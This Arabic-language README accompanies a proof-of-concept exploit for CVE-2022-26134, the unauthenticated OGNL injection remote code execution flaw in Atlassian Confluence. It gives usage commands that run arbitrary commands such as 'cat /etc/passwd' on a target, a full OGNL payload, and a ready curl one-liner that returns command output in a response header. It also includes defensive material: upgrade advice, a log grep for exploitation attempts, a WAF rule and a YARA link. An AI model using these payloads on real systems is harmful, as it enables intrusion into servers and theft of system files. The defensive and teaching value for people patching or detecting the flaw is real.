debajyoti0-0/cve-2022-26134Atlassian Confluence (CVE-2022-26134) - ثغرة حقن OGNL بدون مصادقة (RCE).
نص برمجي (Proof of Concept) يستغل ثغرة تنفيذ الأكواد عن بُعد (RCE) التي تؤثر على منتجات Atlassian Confluence 7.18 والإصدارات الأقدم. تسمح ثغرة حقن OGNL لمستخدم غير مُصادَق عليه بتنفيذ أكواد عشوائية على مثيل Confluence Server أو Data Center.
جميع الإصدارات المدعومة من Confluence Server و Data Center متأثرة.
إصدارات Confluence Server و Data Center الأحدث من 1.3.0 والأقدم من 7.18.1 متأثرة.
تحصل الثغرة على درجة 10 من 10 على مقياس CVSS من حيث الخطورة.
pip install -r requirements.txt
استنسخ المستودع:
git clone https://github.com/Nwqda/CVE-2022-26134
cd CVE-2022-26134
ثم يمكنك تشغيل الأداة مع الأمر الذي تختاره كما يلي:
python3 cve-2022-26134.py https://target.com "id"
python3 cve-2022-26134.py https://target.com "ps aux"
python3 cve-2022-26134.py https://target.com "cat /etc/passwd"
${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
curl --head -k "https://YOUR_TARGET.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D"
بعد ذلك، ستنعكس نتيجة الأمر في المُعامل X-Cmd-Response في ترويسة الاستجابة.
اتبع التوصيات الرسمية من Atlassian:
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
أصدرت Atlassian نشرة استشارية للمنتجات المتأثرة بهذه الثغرة (CVE)، يمكنك قراءتها هنا. لحل المشكلة، تحتاج إلى ترقية إصدار Confluence الخاص بك. القائمة المقترحة وقت النشر هي:
Confluence هو خادم Apache Tomcat توجد سجلاته في /opt/atlassian/confluence/logs. يمكنك استخدام أوامر مثل grep للبحث عن طلبات HTTP GET التي تحتوي على حمولات تستخدم Java runtime لتنفيذ الأوامر. على سبيل المثال:
grep -R "/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22" في catalina.out
تؤثر هذه الثغرة على جميع المثيلات المستضافة ذاتيًا. إذا كنت تستخدم جدار حماية لتطبيقات الويب (WAF)، يمكنك حظر عناوين URL التي تحتوي على ${ بداخلها.
YARA (بواسطة Volexity): https://github.com/volexity/threat-intel/blob/main/2022/2022-06-02%20Active%20Exploitation%20Of%20Confluence%200-day/indicators/yara.yar
لأغراض تعليمية فقط.
